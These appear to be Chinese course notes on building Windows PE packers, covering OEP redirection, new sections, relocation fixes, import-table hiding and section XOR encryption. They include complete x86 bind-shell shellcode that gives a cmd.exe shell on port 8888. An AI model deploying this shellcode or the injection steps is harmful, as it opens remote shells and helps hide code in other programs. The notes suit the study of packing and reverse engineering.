壳
回顾PE文件从硬盘到能运行起来经历的步骤:
将PE文件COPY到内存,然后按照内存对齐值进行对齐。
接着加载DLL文件,DLL文件加载进入内存以后会把IAT表从原本的保存名字进行修复,修复为真正的地址。
程序运行:
操作系统通过读取PE文件的OEP + ImageBase加载基址定位程序入口点开始执行代码。
壳的原理:
修改OEP,将持续的OEP指向自己代码所在的地址,执行完以后再跳回真正的OEP。就是早于持续的执行而执行
问题:如何在PE文件中防止我们的壳代码。
难点有三点:
-代码放在哪里
-我们可以放在代码段里面,因为他要进行文件的对齐,所以肯定有空白的位置
-代码如何编写
push 0 6A 00
push 0 6A 00
push 0 6A 00
push 0 6A 00
call MessageBoxA E8 XXXXX = 77280BA0 - 498D20 - 8 - 5
= 76 DE 7E 73
E8 73 7E DE 76
MessageBoxA 77280BA0
498D20
-如何跳转回去原本的OEP
jmp oep E9 目标地址 - 当前地址 - 5
44A6F4 - 498D2D - 5
= FF FB 19 C2
E9 C2 19 FB FF
shellcode写入到PE文件
bindShellcode代码:
#include
#include
void _declspec(naked)shellCode()
{
__asm
{
//ws2_32.dll 77 73 32 5F 33 32 2E 64 6C 6C 00 长度:0xB
// cmd.exe 63 6D 64 2E 65 78 65 00长度:0x8
// kernel32.dll 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00
//LoadLibraryA 0XC917432
//WSAStartup 0x80B46A3D
// WSASocketA 0xDE78322D
// bind 0XDDA71064
// listen 0x4BD39F0C
// accept 0X1971EB1
// CreateProcessA 0X6BA6BCC9
//ExitProcess 0x4FD18963
//1.保存字符串信息
push ebp
mov ebp, esp
sub esp, 0x30
//kernel32.dll
mov byte ptr ds : [ebp - 1] , 0x0
mov dword ptr[ebp - 0x5], 0x6C6C642E
mov dword ptr[ebp - 0x9], 0x32336C65
mov dword ptr[ebp - 0xD], 0x6E72656B
//cmd.exe
mov dword ptr[ebp - 0x11], 0x00657865
mov dword ptr[ebp - 0x15], 0x2e646d63
//ws2_32.dll
mov byte ptr[ebp - 0x16], 0
mov word ptr[ebp - 0x18], 0x6c6c
mov dword ptr[ebp - 0x1C], 0x642e3233
mov dword ptr[ebp - 0x20], 0x5f327377
mov ecx, esp
lea ecx, [ecx + 0x10]
push ecx
call fun_payload
//popad
//2.获取模块基址
fun_GetModule :
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword ptr fs : [0x30]//PEB指针
mov esi, [esi + 0xc]//LDR结构体地址
mov esi, [esi + 0x1c]//list
mov esi, [esi]//list的第二项 kernel32
mov esi, [esi + 0x8]//dllbase
mov eax, esi
pop esi
mov esp, ebp
pop ebp
retn
fun_GetProcAddr :
push ebp
mov ebp, esp
sub esp, 0x20
push esi
push edi
push edx
push ebx
push ecx
mov edx, [ebp + 0X8]//dllbase
mov esi, [edx + 0x3c]//lf_anew
lea esi, [edx + esi]//Nt头
mov esi, [esi + 0x78]//导出表RVA
lea esi, [edx + esi]//导出表VA
mov edi, [esi + 0x1c]//EAT RVA
lea edi, [edx + edi]//EAT VA
mov[ebp - 0x4], edi//eatva
mov edi, [esi + 0x20]//ENT RVA
lea edi, [edx + edi]//ENT va
mov[ebp - 0x8], edi//ENTVA
mov edi, [esi + 0x24]//EOT RVA
lea edi, [edx + edi]//
mov[ebp - 0xc], edi//EOTVA
//比较字符串获取API
xor eax, eax
xor ebx, ebx
cld
jmp tag_cmpfirst
tag_cmpLoop :
inc ebx
tag_cmpfirst :
mov esi, [ebp - 0x8]//ENT
mov esi, [esi + ebx * 4]//RVA
lea esi, [edx + esi]//函数名称字符串
mov edi, [ebp + 0xc]//要查找的目标函数名称
push esi//传参
call fun_GetHashCode//获取ENT函数名称的哈希值
cmp edi, eax
jne tag_cmpLoop
mov esi, [ebp - 0xc]//eot
xor edi, edi//为了不影响结果清空edi
mov di, [esi + ebx * 2]//eat表索引
mov edx, [ebp - 0x4]//eat
mov esi, [edx + edi * 4]//函数地址rva
mov edx, [ebp + 0x8]//dllbase
lea eax, [edx + esi]//funaddr va
pop ecx
pop ebx
pop edx
pop edi
pop esi
mov esp, ebp
pop ebp
retn 0x8
fun_GetHashCode:
push ebp
mov ebp, esp
sub esp, 0X4
push ecx
push edx
push ebx
mov dword ptr[ebp - 0x4], 0
mov esi, [ebp + 0x8]
xor ecx, ecx
tag_hashLoop :
xor eax, eax
mov al, [esi + ecx]
test al, al
jz tag_end
mov ebx, [ebp - 0x4]
shl ebx, 0x19
mov edx, [ebp - 0x4]
shr edx, 0x7
or ebx, edx
add ebx, eax
mov[ebp - 0x4], ebx
inc ecx//ecx++
jmp tag_hashLoop
tag_end :
mov eax, [ebp - 0x4]
pop ebx
pop edx
pop ecx
mov esp, ebp
pop ebp
retn 0x4
//payload
fun_payload:
push ebp
mov ebp, esp
sub esp, 0x300
//1.先拿到dllbase
call fun_GetModule
//2.获取LoadLibraryA
push 0XC917432//LoadLibraryA 哈希值
push eax
call fun_GetProcAddr
mov[ebp - 0x4], eax//LoadLibraryA 地址
//3.调用LoadLibraryA 加载ws2_32.dll
mov ecx, [ebp + 0x8]//ws2_32.dll字符串地址
push ecx
call[ebp - 0x4]//调用loadlibraya获取 ws2_32.dll
mov[ebp - 0x8], eax//ws2_32base
//4.获取kernel32.dll模块基址
mov ecx, [ebp + 0x8]//kernel32.dll字符串地址
lea ecx, [ecx + 0x13]
push ecx
call[ebp - 0x4]//调用loadlibraya获取 kernel32.dll
mov[ebp - 0xc], eax//kernel32base
//获取WSAStartup地址
push 0x80B46A3D//WSAStartup 哈希值
push[ebp - 0x8]//ws2_32 基址
call fun_GetProcAddr
lea esi, [ebp - 0x300]//WSADATA 结构体
push esi
push 0x0202
call eax
//获取 WSASocketA 地址并调用
push 0xDE78322D//WSASocketA 哈希值
push[ebp - 0x8]//ws2_32 基址
call fun_GetProcAddr
//调用WSASocketA
push 0
push 0
push 0
push 0x6
push 0x1
push 0x2
call eax
mov[ebp - 0x10], eax//socket
//查找bind 并调用
//获取 bind 地址并调用
push 0XDDA71064//bind 哈希值
push[ebp - 0x8]//ws2_32 基址
call fun_GetProcAddr
mov word ptr[ebp - 0x200], 0x2
mov word ptr[ebp - 0x1FE], 0XB822//22B8 8888 大端序
mov dword ptr[ebp - 0x1FC], 0
push 0x10//sizeof(SOCKADDR_IN)
lea esi, [ebp - 0x200]//&SOCKADDR_IN
push esi
push[ebp - 0x10]//socket
call eax
//获取listen地址 并调用
push 0x4BD39F0C//listen 哈希值
push[ebp - 0x8]//ws2_32 基址
call fun_GetProcAddr
push 0x7FFFFFFF
push[ebp - 0x10]//socket
call eax
//获取accept 并调用
push 0X1971EB1//listen 哈希值
push[ebp - 0x8]//ws2_32 基址
call fun_GetProcAddr
push 0
push 0
push[ebp - 0x10]
call eax
mov[ebp - 0x10], eax
//初始化STARTUPINFOA结构体
lea edi, [ebp - 0x90]//STARTUPINFOA结构体首地址
xor eax, eax
mov ecx, 0x11
cld
rep stosd
mov dword ptr[ebp - 0x90], 0x44//sinfo.cb
mov dword ptr[ebp - 0x64], 0x100//sinfo.dwFlags
mov word ptr[ebp - 0x60], 0x0//sinfo.wShowWindow
mov esi, [ebp - 0x10]//socket
mov dword ptr[ebp - 0x58], esi
mov dword ptr[ebp - 0x54], esi
mov dword ptr[ebp - 0x50], esi
//获取CreateProcessA 并调用
push 0X6BA6BCC9//listen 哈希值
push[ebp - 0xC]//kener32 基址
call fun_GetProcAddr
lea edi, [ebp - 0x200]
lea esi, [ebp - 0x90]
mov ecx, [ebp + 0x8]
lea ecx, [ecx + 0xB]
push edi
push esi
push 0
push 0
push 0
push 1
push 0
push 0
push ecx
push 0
call eax//CreateProcessA
mov esp, ebp
pop ebp
retn 0x4
}
}
int main()
{
printf("hello 51hook");
shellCode();
return 0;
}
PE文件代码段的空白区不足以存放我们的shellcode怎么办?
添加新的区段来保存我们的shellcode。
新添加区段,那么区段头也要进行添加。
一个区段头对应一个区段。
总结:
-1.添加一个区段头,可以参考代码段的进行区段头的属性修正
-2.添加一段空白区段
-3.修改标准文件头中区段的数量
-4.修改ImageBase镜像大小
-5.shellcode黏贴到新添加的区段
添加壳代码的几种方式
上面那种方法也有一个缺陷,如果我们的区段头后面也没有剩余的位置进行存放我们的新的区段头呢?
那么我们就要想办法腾出来一点空间,让区段头。
然后我们发现dos stub是没有使用的。
那么我们是否可以把PE头和区段头向上移动。这样就腾出来位置了。
然后腾出来以后,我们要修改DOS头中距离PE头的偏移。
或者我们使用另一种方式,甚至不用新增一个区段,我们直接扩大最后一个区段的大小。
-扩大最后一个区段的大小
-修改对应的区段属性【内存中的大小,文件中的大小】
-修改镜像的大小
-写入shellcode,修改oep
回顾我们添加壳代码从刚开始走过来的几种方式:
1.直接在代码段后面的空余位置添加我们的壳代码
2.修改OEP
但是存在一个问题,要是我们的shellcode壳代码太长怎么办
1.我们添加一个新的区段,写入壳代码
2.修改对应的区段头,增加一个区段头并修改对应属性
3.修改imageSize镜像大小,还有修改OEP
这样也存在一个问题要是没有空间给我们新增代码呢?
1.提高PE和区段头,覆盖dos stub
2.修改pe文件在DOS头的偏移
3.然后就和前面步骤一样了
最后一种方法:
1.直接扩大最后一个区段
2.修改最后一个区段的属性,内存大小,文件大小
3.修改镜像大小,修改OEP
壳项目
步骤:
-1.读取文件
-2.创建buff存放PE文件镜像
-3.解析PE文件
-4.添加区段,修改相关的PE字段值
-5.写入我们的壳代码到新的区段
-6.保存文件
就是说我们采用的是
-1.添加区段,写入壳代码
-2.添加区段头,修改对应的区段头属性
-3.修改imageSize
-4.修改OEP
我们的壳代码通常用来解密和保护功能:
-在程序执行前进行解密
写壳的难点是什么?
API调用,由于壳代码,shellcode这些是后期添加到PE文件上的,所以无法修复壳代码的IAT表。我们要动态调用API。
即就是加载到内存的地址是不固定的,所以如果我们写死地址,不一定可以执行。
并且如果我们使用了全局代码,会设计重定位,我们还需要修复壳的重定位表。
壳代码以什么形式存在?
壳代码就是一段指令,我们这里将其编写为一个dll文件,把他的代码段,当作是壳代码。
link命令将所有区段合并到代码段。
修复重定位表:
-1.我们先将dll文件load到内存,然后找到第一个区段也就是我们的代码段+数据
-2.将第一个区段复制到加壳程序的最后一个区段
-3.由于imagebase发生变化,需要修复重定位表,要修复重定位表就要获取重定位表的信息。
两种方案:可以读取未加入到内存的dll文件,拿到重定位表信息
或者载入到内存当中的dll文件的重定位表信息
-4.拿到重定位表比较容易,那么我们如何修复呢?因为我们要修复的是在fileBuff中的重定位表信息
我们拿到的dll中的重定位表中的信息,这些变量是距离dll的偏移。
怎么转为对应壳程序的偏移呢?
我们知道距离区段的偏移是不变的。那么我们就可以通过距离区段的偏移两边是一样的。
处理导入表:
为了不想让别人轻易的逆向我们的程序。我们可以对导入表进行处理
-1.找到导入表
-2.挪动IMAGE_IMPORT_DESCRIPT导入表的结构体,将结构体数据存放到自定义数组,数据结构可以自己重组,加密等
-3.将保存到输入的导入表结构体存放到新的区段
-4.把原本的导入表进行销毁,以及处理数据目录表第二项和偏移地址,我们可以伪造一个假的导入表
重定位表
VirtualAddress + 小方块的值= rva
rva + imagebase = va
计算出来的va中保存的东西才是真正要修复的地址
我们前面那些修复,无论是dll还是我们的exe,因为没有随机基址,所以都是按照40w进行修复的。那样肯定没有问题。
如果开了随机基址就有问题了。
如何动态修复壳代码的重定位表?
将被加壳程序的重定位表地址指向壳代码的重定位表。
这样操作系统就会帮我们去修复了。反正操作系统知道你要加载那。
操作系统是根据imageBase进行修复的,所以复制过来我们要先按照我们的imageBase修复,然后再交给操作系统修复。
.idata 存放的导入表
.reloc 存放重定位表
以上这两个区段不能通过linker命令合并
所以为了完成上面的操作,我们也需要把dll中的重定位表移动到我们自己这,然后修改指向,让操作系统进行修复。
1.取消合并区段,将壳.dll所有的区段都挪动到被加壳程序的新区段中
2.修复壳代码的重定位表指向的地址
3.修改重定位表的VirtualAddress
4.修改dataDictory[5].virutalAddress & 修改dataDictory[5].size
#pragma once
#include
typedef struct _PACKINFO {
DWORD newOEP;
DWORD oldOEP;
}PACKINFO,*PPACKINFO;
extern "C" __declspec(dllexport) PACKINFO g_PackInfo;
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include "pack.h"
#include
// 将代码段数据段合并到一起
#pragma comment(linker,"/merge:.data=.text")
#pragma comment(linker,"/merge:.rdata=.text")
#pragma comment(linker,"/section:.text,RWE") // 然后这个区段拥有可读可写可执行的属性
void packStart();
PACKINFO g_PackInfo = {(DWORD)packStart};
typedef HMODULE (WINAPI *MyLoadLibraryExA)(LPCSTR, HANDLE, DWORD);
MyLoadLibraryExA g_MyLoadLibraryExA = NULL;
typedef FARPROC (WINAPI* MYGetProcAddress)(HMODULE, LPCSTR);
MYGetProcAddress g_MyGetProcAddress = NULL;
typedef HMODULE (WINAPI* MyGetModuleHandleA)(LPCSTR);
MyGetModuleHandleA g_MyGetModuleHandleA = NULL;
typedef BOOL (WINAPI* MyVirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
MyVirtualProtect g_MyVirtualProtect = NULL;
typedef int (WINAPI* MyMessageBoxA)(HWND, LPCSTR, LPCSTR, UINT);
MyMessageBoxA g_MyMessageBoxA = NULL;
// 获取kernel32或者kernelbase
DWORD GetImportantModule() {
DWORD dwBase = 0;
__asm {
mov eax, dword ptr fs: [0x30]; // 拿到PEB
mov eax, dword ptr [eax + 0xC]; // 拿到ldr
mov eax, dword ptr [eax + 0x1C]; // 拿到ntdll
mov eax, [eax]; // 拿到ntdll的下一个kernel32或者kernelbase
mov eax, [eax + 0x8]; // 拿到dllBase
mov dwBase, eax; // 保存dllBase
};
return dwBase;
}
// 获取API函数
DWORD MyGetProcAddress(DWORD hModule, LPCSTR funName) {
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(hModule + pDosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER pOptionalHeader = &pNtHeader->OptionalHeader;
// 获取导出表
IMAGE_DATA_DIRECTORY dataDict = pOptionalHeader->DataDirectory[0];
PIMAGE_EXPORT_DIRECTORY pExportTable = (PIMAGE_EXPORT_DIRECTORY)(dataDict.VirtualAddress + hModule);
// 遍历导出表
DWORD* nameTable = (DWORD*)(pExportTable->AddressOfNames + hModule);
WORD *numberTable = (WORD*)(pExportTable->AddressOfNameOrdinals + hModule);
DWORD *funTable = (DWORD*)(pExportTable->AddressOfFunctions + hModule);
// 名称和序号是一一对应的
for (int i = 0; i < pExportTable->NumberOfNames; i++) {
CHAR *funName2 = (CHAR*)(nameTable[i] + hModule);
if (strcmp(funName, funName2) == 0) {
return funTable[numberTable[i]] + hModule;
}
}
return 0;
}
// 准备API函数
void GetFunction() {
// 1.获取kernel32或者kernelbase
DWORD pKernelBase = GetImportantModule();
// 2.获取LoadLibraryEx 无论win7还是win10都有
g_MyLoadLibraryExA = (MyLoadLibraryExA)MyGetProcAddress(pKernelBase,"LoadLibraryEx");
// 3.通过LoadLibraryEx 我们去加载真正的kernel32
HMODULE kernel32Base = g_MyLoadLibraryExA("kernel32.dll",0,0);
// 4.获取其他所有要用到的API地址
g_MyGetProcAddress = (MYGetProcAddress)MyGetProcAddress((DWORD)kernel32Base, "GetProcAddress");
g_MyGetModuleHandleA = (MyGetModuleHandleA)g_MyGetProcAddress(kernel32Base,"GetModuleHandleA");
g_MyVirtualProtect = (MyVirtualProtect)g_MyGetProcAddress(kernel32Base, "VirtualProtect");
HMODULE user32Base= g_MyLoadLibraryExA("user32.dll", 0, 0);
g_MyMessageBoxA = (MyMessageBoxA)g_MyGetProcAddress(user32Base, "MessageBoxA");
}
// 解密的具体操作
BOOL DecodeSection() {
INT key = 0x51;
HMODULE hModule = g_MyGetModuleHandleA(NULL); // 获取exe的基址
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pDosHeader->e_lfanew + (DWORD)hModule);
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeader);
CHAR* sectionBuff = (CHAR*)(pSectionHeader->VirtualAddress + (DWORD)hModule);
DWORD oldProtect;
g_MyVirtualProtect(sectionBuff, pSectionHeader->SizeOfRawData,PAGE_EXECUTE_READWRITE,&oldProtect);
for(int i = 0; i < pSectionHeader->SizeOfRawData; i++){
sectionBuff[i] = sectionBuff[i] ^ key;
}
g_MyVirtualProtect(sectionBuff, pSectionHeader->SizeOfRawData, oldProtect, &oldProtect);
return TRUE;
}
// 编写我们的壳代码 解密
void __declspec(naked) packStart() {
__asm pushad; // 保存寄存器环境
// 壳代码逻辑
GetImportantModule(); // 获取kernel32或者kernelbase
GetFunction(); // 准备好要用到的api
DecodeSection(); // 解密壳程序
g_MyMessageBoxA(NULL, "壳代码执行", "提示", MB_OK);
__asm popad; // 恢复寄存器环境 jmp到原始的OEP
__asm jmp g_PackInfo.oldOEP;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
#pragma once
#include
class CPeUtil
{
public:
CPeUtil();
~CPeUtil();
public:
BOOL LoadFile(const char *path); // 加载文件
BOOL InitFileInfo(); // 解析文件
BOOL InsertSection(const char* sectionName,DWORD codeSize,char *codeBuff,DWORD dwCharateristics); // 插入一个新的区段
DWORD GetAlignSize(DWORD realSize,DWORD alignSize);
PIMAGE_SECTION_HEADER GetLastSection(); // 获取最后一个区段头
BOOL SaveFile(const char *path);
BOOL EncodeSections(); // 加密区段
DWORD GetJmpOldVA(); // 获取要跳转的地址
BOOL SetOep(DWORD oepRva);
BOOL RepairRelco(DWORD imageBase);
BOOL GetImportTable();
DWORD RvaToFoa(DWORD rva);
DWORD FoaToRva(DWORD foa);
private:
CHAR* m_fileBuff;
INT m_fileSize;
PIMAGE_DOS_HEADER m_pDosHeader;
PIMAGE_NT_HEADERS m_pNtHeader;
PIMAGE_FILE_HEADER m_pFileHeader;
PIMAGE_OPTIONAL_HEADER m_pOptionalHeader;
DWORD m_importTableSize; // 导入表大小
PIMAGE_IMPORT_DESCRIPTOR m_pNewImportTabe; // 存放导入表位置
};
#include "CPeUtil.h"
#include
CPeUtil::CPeUtil()
{
this->m_fileBuff = nullptr;
this->m_pDosHeader = nullptr;
this->m_pNtHeader = nullptr;
this->m_pFileHeader = nullptr;
this->m_pOptionalHeader = nullptr;
this->m_fileSize = 0;
this->m_importTableSize = 0; // 导入表大小
this->m_pNewImportTabe = nullptr; // 存放导入表位置
}
CPeUtil::~CPeUtil()
{
if (this->m_fileBuff != nullptr) {
delete[] this->m_fileBuff;
this->m_fileBuff = nullptr;
}
this->m_fileSize = 0;
this->m_pDosHeader = nullptr;
this->m_pNtHeader = nullptr;
this->m_pFileHeader = nullptr;
this->m_pOptionalHeader = nullptr;
this->m_importTableSize = 0; // 导入表大小
this->m_pNewImportTabe = nullptr; // 存放导入表位置
}
/*
@function 加载PE文件
@param path pe文件路径
@return 是否加载成功
*/
BOOL CPeUtil::LoadFile(const char* path)
{
HANDLE hFile = CreateFileA(
path,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hFile == INVALID_HANDLE_VALUE) {
MessageBoxA(NULL, "加载PE文件失败", "提示", MB_OK);
return FALSE;
}
this->m_fileSize = GetFileSize(hFile, NULL);
this->m_fileBuff = new CHAR[this->m_fileSize]; // 根据文件大小创建对应的缓冲区
if (!this->m_fileBuff) { // 创建缓冲区失败
MessageBoxA(NULL, "创建缓冲区失败", "提示", MB_OK);
return FALSE;
}
// 然后把PE文件读入到内存
DWORD realRead;
BOOL bSuccess = ReadFile(hFile, this->m_fileBuff, this->m_fileSize, &realRead, NULL);
if (!bSuccess) { // 读取文件失败
MessageBoxA(NULL, "读取PE文件失败", "提示", MB_OK);
return FALSE;
}
// 接着就可以解析PE
if (!InitFileInfo()) {
MessageBoxA(NULL, "解析PE文件失败", "提示", MB_OK);
return FALSE;
}
CloseHandle(hFile);
return TRUE;
}
/*
@function 初始化PE解析
@return 是否解析成功
*/
BOOL CPeUtil::InitFileInfo()
{
this->m_pDosHeader = (PIMAGE_DOS_HEADER)this->m_fileBuff;
if (this->m_pDosHeader->e_magic != 0x5A4D) {
MessageBoxA(NULL, "不是一个有效的PE文件", "提示", MB_OK);
return FALSE;
}
this->m_pNtHeader = (PIMAGE_NT_HEADERS)((DWORD)this->m_fileBuff + this->m_pDosHeader->e_lfanew);
if (this->m_pNtHeader->Signature != 0x4550) {
MessageBoxA(NULL, "不是一个有效的PE文件", "提示", MB_OK);
return FALSE;
}
this->m_pFileHeader = (PIMAGE_FILE_HEADER)&this->m_pNtHeader->FileHeader;
this->m_pOptionalHeader = (PIMAGE_OPTIONAL_HEADER)&this->m_pNtHeader->OptionalHeader;
return TRUE;
}
/*
@function 插入一个新的区段
@param sectionName 新的区段名称
@param codeSize 插入的壳代码大小
@param codeBuff 插入的壳代码
@dwCharateristics 新的区段的属性
@return 是否插入成功
*/
BOOL CPeUtil::InsertSection(const char* sectionName, DWORD codeSize, char* codeBuff, DWORD dwCharateristics)
{
codeSize += this->m_importTableSize; // 还要算上导入表的大小
// 1.计算新的大小 = (原本的大小 + 添加的区段的大小)进行内存对齐之后的大小
DWORD newFileSize = GetAlignSize(this->m_fileSize + codeSize,this->m_pOptionalHeader->FileAlignment);
// 2.创建一个新的缓冲区来存放我们的pe文件
CHAR* newFileBuff = new CHAR[newFileSize]{0};
memcpy_s(newFileBuff, newFileSize, this->m_fileBuff, this->m_fileSize);
// 让旧的缓冲区指向新的缓冲区 并且修改缓冲区的大小
delete[] this->m_fileBuff;
this->m_fileBuff = newFileBuff;
this->m_fileSize = newFileSize;
InitFileInfo(); // 然后重新解析PE文件
// 3.给新的区段添加对应的区段头 那么我们首先要先获取到最后一个区段 在最后一个区段头后面添加
PIMAGE_SECTION_HEADER pLastSectionHeader = GetLastSection();
pLastSectionHeader++; // 就到最后一个区段头的下一个位置 即新的区段头的位置
// 给新的区段头添加属性
pLastSectionHeader->Misc.VirtualSize = GetAlignSize(codeSize,this->m_pOptionalHeader->SectionAlignment);
pLastSectionHeader->SizeOfRawData = GetAlignSize(codeSize, this->m_pOptionalHeader->FileAlignment);
strcpy_s((CHAR*)pLastSectionHeader->Name, 8,sectionName); // 设置区段名称
PIMAGE_SECTION_HEADER pLastSectionHeader2 = GetLastSection();
pLastSectionHeader->VirtualAddress = pLastSectionHeader2->VirtualAddress +
GetAlignSize(pLastSectionHeader->Misc.VirtualSize, this->m_pOptionalHeader->SectionAlignment);
// SizeOfRawData默认就是对齐的
pLastSectionHeader->PointerToRawData = pLastSectionHeader2->PointerToRawData + pLastSectionHeader->SizeOfRawData;
pLastSectionHeader->Characteristics = dwCharateristics;
// 区段头添加好之后修改区段的数量
this->m_pFileHeader->NumberOfSections++;
this->m_pOptionalHeader->SizeOfImage += GetAlignSize(codeSize, this->m_pOptionalHeader->SectionAlignment);
// 接下来就是写入壳代码 和 修改OEP
CHAR* sectionAddr = GetLastSection()->PointerToRawData + m_fileBuff;
memcpy(sectionAddr, codeBuff, codeSize);
// 追加上导入表
sectionAddr += codeSize; // 这就是存放导入表的起始地址
// 然后把导入表存放
memcpy(sectionAddr, this->m_pNewImportTabe, this->m_importTableSize);
// 然后我们要抹除痕迹那些 修改导入表的Rva指向我们新的Rva
// 实际上我们不应该让她指向我们新的Rva的
// 而且正常我们应该还要加密之类的操作 然后抹除原本的Rva之类的
this->m_pOptionalHeader->DataDirectory[1].VirtualAddress = FoaToRva(sectionAddr - this->m_fileBuff);
return TRUE;
}
/*
@function 对传入进来的大小进行文件对齐
@param realSize 需要对齐的文件大小
@param alignSize 对齐参考值
@return 返回对齐值
*/
DWORD CPeUtil::GetAlignSize(DWORD realSize, DWORD alignSize)
{
if (realSize % alignSize == 0) {
return realSize;
}
// 不能整除的情况
return (realSize / alignSize + 1) * alignSize;
}
/*
@function 获取最后一个区段头
@return 返回最后一个区段头
*/
PIMAGE_SECTION_HEADER CPeUtil::GetLastSection()
{
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(this->m_pNtHeader);
// 移动区段数量-1次就到最后一个区段了
return pSectionHeader + (this->m_pFileHeader->NumberOfSections - 1);
}
/*
@function 保存PE文件
@param path 要保存的路径
@return 是否保存成功
*/
BOOL CPeUtil::SaveFile(const char* path)
{
HANDLE hFile = CreateFileA(
path,
GENERIC_WRITE,
0,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
DWORD realWrite = 0;
BOOL ifSuccess = WriteFile(hFile, this->m_fileBuff, this->m_fileSize, &realWrite, NULL);
CloseHandle(hFile);
return TRUE;
}
/*
@function 对区段进行加密
@return 是否加密成功
*/
BOOL CPeUtil::EncodeSections()
{
// 拿到第一个区段头
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(this->m_pNtHeader);
INT key = 0x51;
// 拿到区段的偏移 + fileBuff即区段的真正位置
CHAR* pData = pSectionHeader->PointerToRawData + this->m_fileBuff;
// 对每个字节进行异或运算
for (INT i = 0; i < pSectionHeader->SizeOfRawData; i++) {
pData[i] = pData[i] ^ key;
}
return TRUE;
}
/*
@function 获取当前程序的入口地址
@return 返回入口地址
*/
DWORD CPeUtil::GetJmpOldVA()
{
return this->m_pOptionalHeader->ImageBase + this->m_pOptionalHeader->AddressOfEntryPoint;
}
/*
@function 设置新的OEP
@param oepRva 新的OEP的rva
@return 是否成功
*/
BOOL CPeUtil::SetOep(DWORD oepRva)
{
// 新的oep就是最后一个区段我们的壳代码
this->m_pOptionalHeader->AddressOfEntryPoint = oepRva + GetLastSection()->VirtualAddress;
return TRUE;
}
/*
@function 修复重定位表
@param imageBase dll文件的imageBase
@return 是否修复成功
主要思路:imageBase尽管不同,但是无论在dll中还是exe中,他们相对区段的位置是一样的
*/
BOOL CPeUtil::RepairRelco(DWORD imageBase)
{
PIMAGE_DOS_HEADER pDllDosHeader = (PIMAGE_DOS_HEADER)imageBase;
PIMAGE_NT_HEADERS pDllNtHeader = (PIMAGE_NT_HEADERS)(pDllDosHeader->e_lfanew + imageBase);
PIMAGE_OPTIONAL_HEADER pDllOptionalHeader = &pDllNtHeader->OptionalHeader;
IMAGE_DATA_DIRECTORY dataDict = pDllOptionalHeader->DataDirectory[5];
PIMAGE_BASE_RELOCATION pDllRelocation = (PIMAGE_BASE_RELOCATION)(dataDict.VirtualAddress + imageBase);
PIMAGE_SECTION_HEADER pDllSectionHeader = IMAGE_FIRST_SECTION(pDllNtHeader);
// 就拿到了我们的重定位表了
while (pDllRelocation->SizeOfBlock != 0) {
// 计算有多少块
DWORD reNumber = (pDllRelocation->SizeOfBlock - 0x8) / 2;
// 第一个块的开始位置
WORD* prelocRva = (WORD*)((CHAR*)pDllRelocation + 0x8);
for (int i = 0; i < reNumber; i++) {
// 高四位是0x3才是有效的要修复的 低12位是真正要修复的
if ((*prelocRva & 0x3000) == 0x3000) {
// 小的偏移 + 大的偏移 = RVA
WORD repairRva = (*prelocRva & 0x0fff) + pDllRelocation->VirtualAddress;
// 获取需要重定位变量的地址 这才是真正要修复的地址VA
DWORD* relRepairAddr = (DWORD*)(imageBase + repairRva);
// 然后我们现在是要修复丢进exe中的最后一个区段的重定位表 把这个dll的地址进行转换
// 最后一个区段在fileBuff中的偏移
DWORD newFileSection = (DWORD)(GetLastSection()->PointerToRawData + this->m_fileBuff);
DWORD newSectionAddr = GetLastSection()->VirtualAddress + this->m_pOptionalHeader->ImageBase;
// 获取变量在新添加区段中的地址fileBuff中的位置
// 变量的fileBuff偏移 - 区段fileBuff偏移 = 变量dll偏移 - 区段dll偏移
DWORD destAddr =
(DWORD)relRepairAddr - (pDllSectionHeader->VirtualAddress + imageBase) + newFileSection;
// 计算变量rva在FileBuff中的
// 变量的fileBuff偏移 - 区段fileBuff偏移 = 变量dll偏移 - 区段dll偏移
*(DWORD*)destAddr = (*(DWORD*)destAddr - imageBase)
- pDllSectionHeader->VirtualAddress + newSectionAddr;
}
prelocRva++; // 移动到下一个小块
}
pDllRelocation = (PIMAGE_BASE_RELOCATION)((DWORD)pDllRelocation + pDllRelocation->SizeOfBlock);
}
return TRUE;
}
/*
@function 获取导入表
*/
BOOL CPeUtil::GetImportTable()
{
DWORD tableLen = 0; // 用来计算导入表的大小
IMAGE_DATA_DIRECTORY dataDict = this->m_pOptionalHeader->DataDirectory[1];
PIMAGE_IMPORT_DESCRIPTOR pImportTable
// 这个时候还是在硬盘中的状态所以需要把RVA转为FOA
= (PIMAGE_IMPORT_DESCRIPTOR)(RvaToFoa(dataDict.VirtualAddress) + this->m_fileBuff);
while (pImportTable->Name != NULL) {
tableLen++;
pImportTable++;
}
if (tableLen == 0) return FALSE; // 没有导入表
tableLen++; // 最后要有0表示导入表的结束
this->m_importTableSize = tableLen * sizeof(IMAGE_IMPORT_DESCRIPTOR);
this->m_pNewImportTabe = new IMAGE_IMPORT_DESCRIPTOR[tableLen]{0};
// 重新获取一下起始位置
pImportTable = (PIMAGE_IMPORT_DESCRIPTOR)(RvaToFoa(dataDict.VirtualAddress) + this->m_fileBuff);
// 然后我们进行拷贝 最后-1就好了,因为我们初始化就为0了
memcpy(this->m_pNewImportTabe, pImportTable, ((tableLen - 1) * sizeof(IMAGE_IMPORT_DESCRIPTOR)));
return TRUE;
}
/*
@function RVA转FOA
